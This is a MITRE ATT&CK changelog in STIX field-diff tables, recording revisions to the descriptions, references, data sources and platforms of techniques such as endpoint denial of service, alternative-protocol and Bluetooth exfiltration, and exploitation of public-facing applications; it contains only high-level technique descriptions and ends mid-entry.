| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:56:03.459000+00:00 | 2022-04-12 14:48:40.313000+00:00 |
| description | Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets. Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China) For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498). | Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets. Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China) For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498). |
| external_references[1]['source_name'] | capec | Cisco DoSdetectNetflow |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/227.html | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf |
| external_references[2]['source_name'] | capec | FSISAC FraudNetDoS September 2012 |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/131.html | https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf |
| external_references[3]['source_name'] | capec | ArsTechnica Great Firewall of China |
| external_references[3]['url'] | https://capec.mitre.org/data/definitions/130.html | https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/ |
| external_references[4]['source_name'] | capec | FireEye OpPoisonedHandover February 2016 |
| external_references[4]['url'] | https://capec.mitre.org/data/definitions/125.html | https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html |
| external_references[5]['source_name'] | FireEye OpPoisonedHandover February 2016 | USNYAG IranianBotnet March 2016 |
| external_references[5]['description'] | Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019. | Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html | https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged |
| external_references[6]['source_name'] | FSISAC FraudNetDoS September 2012 | Symantec DDoS October 2014 |
| external_references[6]['description'] | FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019. | Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019. |
| external_references[6]['url'] | https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf | https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf |
| external_references[7]['source_name'] | Symantec DDoS October 2014 | capec |
| external_references[7]['url'] | https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf | https://capec.mitre.org/data/definitions/227.html |
| external_references[8]['source_name'] | USNYAG IranianBotnet March 2016 | capec |
| external_references[8]['url'] | https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged | https://capec.mitre.org/data/definitions/131.html |
| external_references[9]['source_name'] | ArsTechnica Great Firewall of China | capec |
| external_references[9]['url'] | https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/ | https://capec.mitre.org/data/definitions/130.html |
| external_references[10]['source_name'] | Cisco DoSdetectNetflow | capec |
| external_references[10]['url'] | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf | https://capec.mitre.org/data/definitions/125.html |
| x_mitre_data_sources[0] | SSL/TLS inspection | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Web logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Web application firewall logs | Sensor Health: Host Status |
| x_mitre_data_sources[3] | Network intrusion detection system | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Network device logs | |
| x_mitre_data_sources | Netflow/Enclave netflow |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may steal data by exfiltrating it over a differe | t | 1 | Adversaries may steal data by exfiltrating it over a differe |
| > | nt protocol than that of the existing command and control ch | > | nt protocol than that of the existing command and control ch | ||
| > | annel. The data may also be sent to an alternate network loc | > | annel. The data may also be sent to an alternate network loc | ||
| > | ation from the main command and control server. Alternate | > | ation from the main command and control server. Alternate | ||
| > | protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other | > | protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other | ||
| > | network protocol not being used as the main command and con | > | network protocol not being used as the main command and con | ||
| > | trol channel. Different protocol channels could also include | > | trol channel. Different protocol channels could also include | ||
| > | Web services such as cloud storage. Adversaries may also op | > | Web services such as cloud storage. Adversaries may also op | ||
| > | t to encrypt and/or obfuscate these alternate channels. [E | > | t to encrypt and/or obfuscate these alternate channels. [E | ||
| > | xfiltration Over Alternative Protocol](https://attack.mitre. | > | xfiltration Over Alternative Protocol](https://attack.mitre. | ||
| > | org/techniques/T1048) can be done using various common opera | > | org/techniques/T1048) can be done using various common opera | ||
| > | ting system utilities such as [Net](https://attack.mitre.org | > | ting system utilities such as [Net](https://attack.mitre.org | ||
| > | /software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct | > | /software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct | ||
| > | 2016) | > | 2016) On macOS and Linux <code>curl</code> may be used to in | ||
| > | voke protocols such as HTTP/S or FTP/S to exfiltrate data fr | ||||
| > | om a system.(Citation: 20 macOS Common Tools and Techniques) | ||||
| > | |||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False | |
| x_mitre_network_requirements | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:50:31.548000+00:00 | 2021-10-15 22:49:28.766000+00:00 |
| description | Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) | Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.
[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) |
| external_references[2]['source_name'] | University of Birmingham C2 | 20 macOS Common Tools and Techniques |
| external_references[2]['description'] | Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. | Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. |
| external_references[2]['url'] | https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf | https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ |
| x_mitre_data_sources[0] | Process monitoring | File: File Access |
| x_mitre_data_sources[1] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Netflow/Enclave netflow | Command: Command Execution |
| x_mitre_data_sources[4] | Network protocol analysis | Network Traffic: Network Traffic Content |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'} | |
| x_mitre_contributors | William Cain |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_network_requirements | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:45:51.014000+00:00 | 2021-10-15 22:44:11.953000+00:00 |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Command: Command Execution |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Process use of network | File: File Access |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to exfiltrate data over Bluetooth ra | t | 1 | Adversaries may attempt to exfiltrate data over Bluetooth ra |
| > | ther than the command and control channel. If the command an | > | ther than the command and control channel. If the command an | ||
| > | d control network is a wired Internet connection, an attacke | > | d control network is a wired Internet connection, an adversa | ||
| > | r may opt to exfiltrate data using a Bluetooth communication | > | ry may opt to exfiltrate data using a Bluetooth communicatio | ||
| > | channel. Adversaries may choose to do this if they have su | > | n channel. Adversaries may choose to do this if they have s | ||
| > | fficient access and proximity. Bluetooth connections might n | > | ufficient access and proximity. Bluetooth connections might | ||
| > | ot be secured or defended as well as the primary Internet-co | > | not be secured or defended as well as the primary Internet-c | ||
| > | nnected channel because it is not routed through the same en | > | onnected channel because it is not routed through the same e | ||
| > | terprise network. | > | nterprise network. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:34:55.439000+00:00 | 2022-03-08 21:02:15.802000+00:00 |
| description | Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel. Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. | Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel. Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. |
| x_mitre_data_sources[0] | Process monitoring | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | User interface | Network Traffic: Network Traffic Content |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Access | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation |
Current version: 2.1
Version changed from: 2.0 → 2.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False | |
| x_mitre_network_requirements | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-12 15:59:47.470000+00:00 | 2021-10-15 22:45:50.620000+00:00 |
| x_mitre_data_sources[0] | Packet capture | Command: Command Execution |
| x_mitre_data_sources[1] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Netflow/Enclave netflow | File: File Access |
| x_mitre_data_sources[3] | Process monitoring | Network Traffic: Network Traffic Flow |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False | |
| x_mitre_network_requirements | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:31:48.713000+00:00 | 2021-10-15 22:48:29.702000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Data loss prevention | File: File Access |
| x_mitre_data_sources[2] | File monitoring | Drive: Drive Creation |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False | |
| x_mitre_network_requirements | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 01:02:24.276000+00:00 | 2021-10-15 22:50:29.607000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process use of network | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Netflow/Enclave netflow | File: File Access |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | SSL/TLS inspection |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:31:02.204000+00:00 | 2021-10-15 22:48:29.490000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | File: File Access |
| x_mitre_data_sources[1] | Data loss prevention | Command: Command Execution |
| x_mitre_data_sources[2] | File monitoring | Drive: Drive Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
Current version: 2.3
Version changed from: 2.2 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to take advantage of a weakness in a | t | 1 | Adversaries may attempt to take advantage of a weakness in a |
| > | n Internet-facing computer or program using software, data, | > | n Internet-facing computer or program using software, data, | ||
| > | or commands in order to cause unintended or unanticipated be | > | or commands in order to cause unintended or unanticipated be | ||
| > | havior. The weakness in the system can be a bug, a glitch, o | > | havior. The weakness in the system can be a bug, a glitch, o | ||
| > | r a design vulnerability. These applications are often websi | > | r a design vulnerability. These applications are often websi | ||
| > | tes, but can include databases (like SQL)(Citation: NVD CVE- | > | tes, but can include databases (like SQL), standard services | ||
| > | 2016-6662), standard services (like SMB(Citation: CIS Multip | > | (like SMB or SSH), network device administration and manage | ||
| > | le SMB Vulnerabilities) or SSH), network device administrati | > | ment protocols (like SNMP and Smart Install), and any other | ||
| > | on and management protocols (like SNMP and Smart Install(Cit | > | applications with Internet accessible open sockets, such as | ||
| > | ation: US-CERT TA18-106A Network Infrastructure Devices 2018 | > | web servers and related services.(Citation: NVD CVE-2016-666 | ||
| > | )(Citation: Cisco Blog Legacy Device Attacks)), and any othe | > | 2)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US- | ||
| > | r applications with Internet accessible open sockets, such a | > | CERT TA18-106A Network Infrastructure Devices 2018)(Citation | ||
| > | s web servers and related services.(Citation: NVD CVE-2014-7 | > | : Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7 | ||
| > | 169) Depending on the flaw being exploited this may include | > | 169) Depending on the flaw being exploited this may include | ||
| > | [Exploitation for Defense Evasion](https://attack.mitre.org/ | > | [Exploitation for Defense Evasion](https://attack.mitre.org/ | ||
| > | techniques/T1211). If an application is hosted on cloud-ba | > | techniques/T1211). If an application is hosted on cloud-ba | ||
| > | sed infrastructure, then exploiting it may lead to compromis | > | sed infrastructure and/or is containerized, then exploiting | ||
| > | e of the underlying instance. This can allow an adversary a | > | it may lead to compromise of the underlying instance or cont | ||
| > | path to access the cloud APIs or to take advantage of weak i | > | ainer. This can allow an adversary a path to access the clou | ||
| > | dentity and access management policies. For websites and da | > | d or container APIs, exploit container host access via [Esca | ||
| > | tabases, the OWASP top 10 and CWE top 25 highlight the most | > | pe to Host](https://attack.mitre.org/techniques/T1611), or t | ||
| > | common web-based vulnerabilities.(Citation: OWASP Top 10)(Ci | > | ake advantage of weak identity and access management policie | ||
| > | tation: CWE top 25) | > | s. For websites and databases, the OWASP top 10 and CWE top | ||
| > | 25 highlight the most common web-based vulnerabilities.(Cit | ||||
| > | ation: OWASP Top 10)(Citation: CWE top 25) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 01:10:54.358000+00:00 | 2022-04-19 17:06:53.032000+00:00 |
| description | Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). If an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) | Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) |
| external_references[1]['source_name'] | NVD CVE-2016-6662 | CWE top 25 |
| external_references[1]['description'] | National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018. | Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019. |
| external_references[1]['url'] | https://nvd.nist.gov/vuln/detail/CVE-2016-6662 | https://cwe.mitre.org/top25/index.html |
| external_references[3]['source_name'] | US-CERT TA18-106A Network Infrastructure Devices 2018 | NVD CVE-2016-6662 |
| external_references[3]['description'] | US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. | National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018. |
| external_references[3]['url'] | https://us-cert.cisa.gov/ncas/alerts/TA18-106A | https://nvd.nist.gov/vuln/detail/CVE-2016-6662 |
| external_references[4]['source_name'] | Cisco Blog Legacy Device Attacks | NVD CVE-2014-7169 |
| external_references[4]['description'] | Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. | National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018. |
| external_references[4]['url'] | https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 | https://nvd.nist.gov/vuln/detail/CVE-2014-7169 |
| external_references[5]['source_name'] | NVD CVE-2014-7169 | Cisco Blog Legacy Device Attacks |
| external_references[5]['description'] | National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018. | Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. |
| external_references[5]['url'] | https://nvd.nist.gov/vuln/detail/CVE-2014-7169 | https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 |
| external_references[7]['source_name'] | CWE top 25 | US-CERT TA18-106A Network Infrastructure Devices 2018 |
| external_references[7]['description'] | Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019. | US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. |
| external_references[7]['url'] | https://cwe.mitre.org/top25/index.html | https://us-cert.cisa.gov/ncas/alerts/TA18-106A |
| x_mitre_data_sources[0] | Azure activity logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | AWS CloudTrail logs | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | IaaS |
| x_mitre_platforms[2] | macOS | Network |
| x_mitre_platforms[3] | AWS | Linux |
| x_mitre_platforms[4] | GCP | macOS |
| x_mitre_platforms[5] | Azure | Containers |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | Web logs | |
| x_mitre_data_sources | Web application firewall logs | |
| x_mitre_data_sources | Application logs | |
| x_mitre_platforms | Network |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exploit software vulnerabilities in an attem | t | 1 | Adversaries may exploit software vulnerabilities in an attem |
| > | pt to collect elevate privileges. Exploitation of a software | > | pt to elevate privileges. Exploitation of a software vulnera | ||
| > | vulnerability occurs when an adversary takes advantage of a | > | bility occurs when an adversary takes advantage of a program | ||
| > | programming error in a program, service, or within the oper | > | ming error in a program, service, or within the operating sy | ||
| > | ating system software or kernel itself to execute adversary- | > | stem software or kernel itself to execute adversary-controll | ||
| > | controlled code. Security constructs such as permission leve | > | ed code. Security constructs such as permission levels will | ||
| > | ls will often hinder access to information and use of certai | > | often hinder access to information and use of certain techni | ||
| > | n techniques, so adversaries will likely need to perform pri | > | ques, so adversaries will likely need to perform privilege e | ||
| > | vilege escalation to include use of software exploitation to | > | scalation to include use of software exploitation to circumv | ||
| > | circumvent those restrictions. When initially gaining acce | > | ent those restrictions. When initially gaining access to a | ||
| > | ss to a system, an adversary may be operating within a lower | > | system, an adversary may be operating within a lower privile | ||
